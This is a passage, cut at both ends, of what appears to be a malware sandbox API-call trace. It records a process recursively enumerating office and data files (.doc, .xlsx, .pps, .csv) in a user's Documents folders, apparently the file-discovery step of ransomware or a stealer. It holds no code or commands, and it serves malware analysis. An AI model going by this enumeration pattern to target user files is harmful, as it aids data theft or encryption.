(dwNewMode=0x1, lpOldMode=0x5a2e84c) returned 1 [0162.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eaac) returned 1 [0162.395] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v")) returned 0x10 [0162.395] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v")) returned 0x10 [0162.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0162.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", lpFilePart=0x0) returned 0x36 [0162.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0162.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", lpFilePart=0x0) returned 0x36 [0162.395] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\*"), lpFindFileData=0x5a2e7c0 | out: lpFindFileData=0x5a2e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb078200, ftCreationTime.dwHighDateTime=0x1d98f4c, ftLastAccessTime.dwLowDateTime=0x3695d300, ftLastAccessTime.dwHighDateTime=0x1d99239, ftLastWriteTime.dwLowDateTime=0x3695d300, ftLastWriteTime.dwHighDateTime=0x1d99239, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.396] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0162.396] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", lpFilePart=0x0) returned 0x36 [0162.396] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\*"), lpFindFileData=0x5a2e7c0 | out: lpFindFileData=0x5a2e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb078200, ftCreationTime.dwHighDateTime=0x1d98f4c, ftLastAccessTime.dwLowDateTime=0x3695d300, ftLastAccessTime.dwHighDateTime=0x1d99239, ftLastWriteTime.dwLowDateTime=0x3695d300, ftLastWriteTime.dwHighDateTime=0x1d99239, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.396] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb078200, ftCreationTime.dwHighDateTime=0x1d98f4c, ftLastAccessTime.dwLowDateTime=0x3695d300, ftLastAccessTime.dwHighDateTime=0x1d99239, ftLastWriteTime.dwLowDateTime=0x3695d300, ftLastWriteTime.dwHighDateTime=0x1d99239, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.396] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0dadb60, ftCreationTime.dwHighDateTime=0x1d99aa0, ftLastAccessTime.dwLowDateTime=0xedcc5150, ftLastAccessTime.dwHighDateTime=0x1d99d5d, ftLastWriteTime.dwLowDateTime=0xedcc5150, ftLastWriteTime.dwHighDateTime=0x1d99d5d, nFileSizeHigh=0x0, nFileSizeLow=0xd8f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="aGLcXTU.ods", cAlternateFileName="")) returned 1 [0162.396] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ffa50, ftCreationTime.dwHighDateTime=0x1d994e5, ftLastAccessTime.dwLowDateTime=0xfd2aede0, ftLastAccessTime.dwHighDateTime=0x1d99976, ftLastWriteTime.dwLowDateTime=0xfd2aede0, ftLastWriteTime.dwHighDateTime=0x1d99976, nFileSizeHigh=0x0, nFileSizeLow=0x99f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="j_XC70WdA-Y.xlsx", cAlternateFileName="J_XC70~1.XLS")) returned 1 [0162.396] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65392a10, ftCreationTime.dwHighDateTime=0x1d9990d, ftLastAccessTime.dwLowDateTime=0x889214e0, ftLastAccessTime.dwHighDateTime=0x1d99962, ftLastWriteTime.dwLowDateTime=0x889214e0, ftLastWriteTime.dwHighDateTime=0x1d99962, nFileSizeHigh=0x0, nFileSizeLow=0x5a5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="nvE-BwCAPR.pps", cAlternateFileName="NVE-BW~1.PPS")) returned 1 [0162.396] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3ac2950, ftCreationTime.dwHighDateTime=0x1d991d8, ftLastAccessTime.dwLowDateTime=0x46f6510, ftLastAccessTime.dwHighDateTime=0x1d99ace, ftLastWriteTime.dwLowDateTime=0x46f6510, ftLastWriteTime.dwHighDateTime=0x1d99ace, nFileSizeHigh=0x0, nFileSizeLow=0x2e0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIY8bVb4S.csv", cAlternateFileName="SIY8BV~1.CSV")) returned 1 [0162.396] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5c26b0, ftCreationTime.dwHighDateTime=0x1d98fa1, ftLastAccessTime.dwLowDateTime=0xec314a10, ftLastAccessTime.dwHighDateTime=0x1d998eb, ftLastWriteTime.dwLowDateTime=0xec314a10, ftLastWriteTime.dwHighDateTime=0x1d998eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tirKK9 byo0", cAlternateFileName="TIRKK9~1")) returned 1 [0162.397] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76a280, ftCreationTime.dwHighDateTime=0x1d98f1f, ftLastAccessTime.dwLowDateTime=0x94553720, ftLastAccessTime.dwHighDateTime=0x1d9966b, ftLastWriteTime.dwLowDateTime=0x94553720, ftLastWriteTime.dwHighDateTime=0x1d9966b, nFileSizeHigh=0x0, nFileSizeLow=0x169dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vztlNW.docx", cAlternateFileName="VZTLNW~1.DOC")) returned 1 [0162.397] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76a280, ftCreationTime.dwHighDateTime=0x1d98f1f, ftLastAccessTime.dwLowDateTime=0x94553720, ftLastAccessTime.dwHighDateTime=0x1d9966b, ftLastWriteTime.dwLowDateTime=0x94553720, ftLastWriteTime.dwHighDateTime=0x1d9966b, nFileSizeHigh=0x0, nFileSizeLow=0x169dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vztlNW.docx", cAlternateFileName="VZTLNW~1.DOC")) returned 0 [0162.397] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.397] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb078200, ftCreationTime.dwHighDateTime=0x1d98f4c, ftLastAccessTime.dwLowDateTime=0x3695d300, ftLastAccessTime.dwHighDateTime=0x1d99239, ftLastWriteTime.dwLowDateTime=0x3695d300, ftLastWriteTime.dwHighDateTime=0x1d99239, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.397] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0dadb60, ftCreationTime.dwHighDateTime=0x1d99aa0, ftLastAccessTime.dwLowDateTime=0xedcc5150, ftLastAccessTime.dwHighDateTime=0x1d99d5d, ftLastWriteTime.dwLowDateTime=0xedcc5150, ftLastWriteTime.dwHighDateTime=0x1d99d5d, nFileSizeHigh=0x0, nFileSizeLow=0xd8f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="aGLcXTU.ods", cAlternateFileName="")) returned 1 [0162.397] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ffa50, ftCreationTime.dwHighDateTime=0x1d994e5, ftLastAccessTime.dwLowDateTime=0xfd2aede0, ftLastAccessTime.dwHighDateTime=0x1d99976, ftLastWriteTime.dwLowDateTime=0xfd2aede0, ftLastWriteTime.dwHighDateTime=0x1d99976, nFileSizeHigh=0x0, nFileSizeLow=0x99f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="j_XC70WdA-Y.xlsx", cAlternateFileName="J_XC70~1.XLS")) returned 1 [0162.398] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65392a10, ftCreationTime.dwHighDateTime=0x1d9990d, ftLastAccessTime.dwLowDateTime=0x889214e0, ftLastAccessTime.dwHighDateTime=0x1d99962, ftLastWriteTime.dwLowDateTime=0x889214e0, ftLastWriteTime.dwHighDateTime=0x1d99962, nFileSizeHigh=0x0, nFileSizeLow=0x5a5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="nvE-BwCAPR.pps", cAlternateFileName="NVE-BW~1.PPS")) returned 1 [0162.398] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3ac2950, ftCreationTime.dwHighDateTime=0x1d991d8, ftLastAccessTime.dwLowDateTime=0x46f6510, ftLastAccessTime.dwHighDateTime=0x1d99ace, ftLastWriteTime.dwLowDateTime=0x46f6510, ftLastWriteTime.dwHighDateTime=0x1d99ace, nFileSizeHigh=0x0, nFileSizeLow=0x2e0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIY8bVb4S.csv", cAlternateFileName="SIY8BV~1.CSV")) returned 1 [0162.398] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5c26b0, ftCreationTime.dwHighDateTime=0x1d98fa1, ftLastAccessTime.dwLowDateTime=0xec314a10, ftLastAccessTime.dwHighDateTime=0x1d998eb, ftLastWriteTime.dwLowDateTime=0xec314a10, ftLastWriteTime.dwHighDateTime=0x1d998eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tirKK9 byo0", cAlternateFileName="TIRKK9~1")) returned 1 [0162.398] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76a280, ftCreationTime.dwHighDateTime=0x1d98f1f, ftLastAccessTime.dwLowDateTime=0x94553720, ftLastAccessTime.dwHighDateTime=0x1d9966b, ftLastWriteTime.dwLowDateTime=0x94553720, ftLastWriteTime.dwHighDateTime=0x1d9966b, nFileSizeHigh=0x0, nFileSizeLow=0x169dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vztlNW.docx", cAlternateFileName="VZTLNW~1.DOC")) returned 1 [0162.398] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.398] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.399] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0")) returned 0x10 [0162.399] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0")) returned 0x10 [0162.399] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0162.399] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", lpFilePart=0x0) returned 0x42 [0162.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e990) returned 1 [0162.399] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0162.399] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", lpFilePart=0x0) returned 0x42 [0162.400] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\*"), lpFindFileData=0x5a2e740 | out: lpFindFileData=0x5a2e740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5c26b0, ftCreationTime.dwHighDateTime=0x1d98fa1, ftLastAccessTime.dwLowDateTime=0xec314a10, ftLastAccessTime.dwHighDateTime=0x1d998eb, ftLastWriteTime.dwLowDateTime=0xec314a10, ftLastWriteTime.dwHighDateTime=0x1d998eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e990) returned 1 [0162.400] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0162.400] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", lpFilePart=0x0) returned 0x42 [0162.400] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\*"), lpFindFileData=0x5a2e740 | out: lpFindFileData=0x5a2e740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5c26b0, ftCreationTime.dwHighDateTime=0x1d98fa1, ftLastAccessTime.dwLowDateTime=0xec314a10, ftLastAccessTime.dwHighDateTime=0x1d998eb, ftLastWriteTime.dwLowDateTime=0xec314a10, ftLastWriteTime.dwHighDateTime=0x1d998eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.400] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5c26b0, ftCreationTime.dwHighDateTime=0x1d98fa1, ftLastAccessTime.dwLowDateTime=0xec314a10, ftLastAccessTime.dwHighDateTime=0x1d998eb, ftLastWriteTime.dwLowDateTime=0xec314a10, ftLastWriteTime.dwHighDateTime=0x1d998eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.400] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bede80, ftCreationTime.dwHighDateTime=0x1d9987b, ftLastAccessTime.dwLowDateTime=0x44b78f80, ftLastAccessTime.dwHighDateTime=0x1d99d08, ftLastWriteTime.dwLowDateTime=0x44b78f80, ftLastWriteTime.dwHighDateTime=0x1d99d08, nFileSizeHigh=0x0, nFileSizeLow=0x456b, dwReserved0=0x0, dwReserved1=0x0, cFileName="dP47.doc", cAlternateFileName="")) returned 1 [0162.401] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912824a0, ftCreationTime.dwHighDateTime=0x1d993ae, ftLastAccessTime.dwLowDateTime=0xa460270, ftLastAccessTime.dwHighDateTime=0x1d99856, ftLastWriteTime.dwLowDateTime=0xa460270, ftLastWriteTime.dwHighDateTime=0x1d99856, nFileSizeHigh=0x0, nFileSizeLow=0x18491, dwReserved0=0x0, dwReserved1=0x0, cFileName="JGqHA5Ln0.ppt", cAlternateFileName="JGQHA5~1.PPT")) returned 1 [0162.401] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e82160, ftCreationTime.dwHighDateTime=0x1d99a09, ftLastAccessTime.dwLowDateTime=0x51018170, ftLastAccessTime.dwHighDateTime=0x1d99ce4, ftLastWriteTime.dwLowDateTime=0x51018170, ftLastWriteTime.dwHighDateTime=0x1d99ce4, nFileSizeHigh=0x0, nFileSizeLow=0xec69, dwReserved0=0x0, dwReserved1=0x0, cFileName="SJUHCcPfr3Mqu.pps", cAlternateFileName="SJUHCC~1.PPS")) returned 1 [0162.401] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e82160, ftCreationTime.dwHighDateTime=0x1d99a09, ftLastAccessTime.dwLowDateTime=0x51018170, ftLastAccessTime.dwHighDateTime=0x1d99ce4, ftLastWriteTime.dwLowDateTime=0x51018170, ftLastWriteTime.dwHighDateTime=0x1d99ce4, nFileSizeHigh=0x0, nFileSizeLow=0xec69, dwReserved0=0x0, dwReserved1=0x0, cFileName="SJUHCcPfr3Mqu.pps", cAlternateFileName="SJUHCC~1.PPS")) returned 0 [0162.401] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e74c) returned 1 [0162.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9ac) returned 1 [0162.401] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5c26b0, ftCreationTime.dwHighDateTime=0x1d98fa1, ftLastAccessTime.dwLowDateTime=0xec314a10, ftLastAccessTime.dwHighDateTime=0x1d998eb, ftLastWriteTime.dwLowDateTime=0xec314a10, ftLastWriteTime.dwHighDateTime=0x1d998eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.401] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bede80, ftCreationTime.dwHighDateTime=0x1d9987b, ftLastAccessTime.dwLowDateTime=0x44b78f80, ftLastAccessTime.dwHighDateTime=0x1d99d08, ftLastWriteTime.dwLowDateTime=0x44b78f80, ftLastWriteTime.dwHighDateTime=0x1d99d08, nFileSizeHigh=0x0, nFileSizeLow=0x456b, dwReserved0=0x0, dwReserved1=0x0, cFileName="dP47.doc", cAlternateFileName="")) returned 1 [0162.401] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912824a0, ftCreationTime.dwHighDateTime=0x1d993ae, ftLastAccessTime.dwLowDateTime=0xa460270, ftLastAccessTime.dwHighDateTime=0x1d99856, ftLastWriteTime.dwLowDateTime=0xa460270, ftLastWriteTime.dwHighDateTime=0x1d99856, nFileSizeHigh=0x0, nFileSizeLow=0x18491, dwReserved0=0x0, dwReserved1=0x0, cFileName="JGqHA5Ln0.ppt", cAlternateFileName="JGQHA5~1.PPT")) returned 1 [0162.402] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e82160, ftCreationTime.dwHighDateTime=0x1d99a09, ftLastAccessTime.dwLowDateTime=0x51018170, ftLastAccessTime.dwHighDateTime=0x1d99ce4, ftLastWriteTime.dwLowDateTime=0x51018170, ftLastWriteTime.dwHighDateTime=0x1d99ce4, nFileSizeHigh=0x0, nFileSizeLow=0xec69, dwReserved0=0x0, dwReserved1=0x0, cFileName="SJUHCcPfr3Mqu.pps", cAlternateFileName="SJUHCC~1.PPS")) returned 1 [0162.402] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.402] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e74c) returned 1 [0162.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9ac) returned 1 [0162.413] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc")) returned 0x20 [0162.413] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0162.413] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", lpFilePart=0x0) returned 0x4b [0162.413] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc")) returned 0x20 [0162.413] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt")) returned 0x20 [0162.414] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0162.414] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", lpFilePart=0x0) returned 0x50 [0162.414] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt" (normalized: 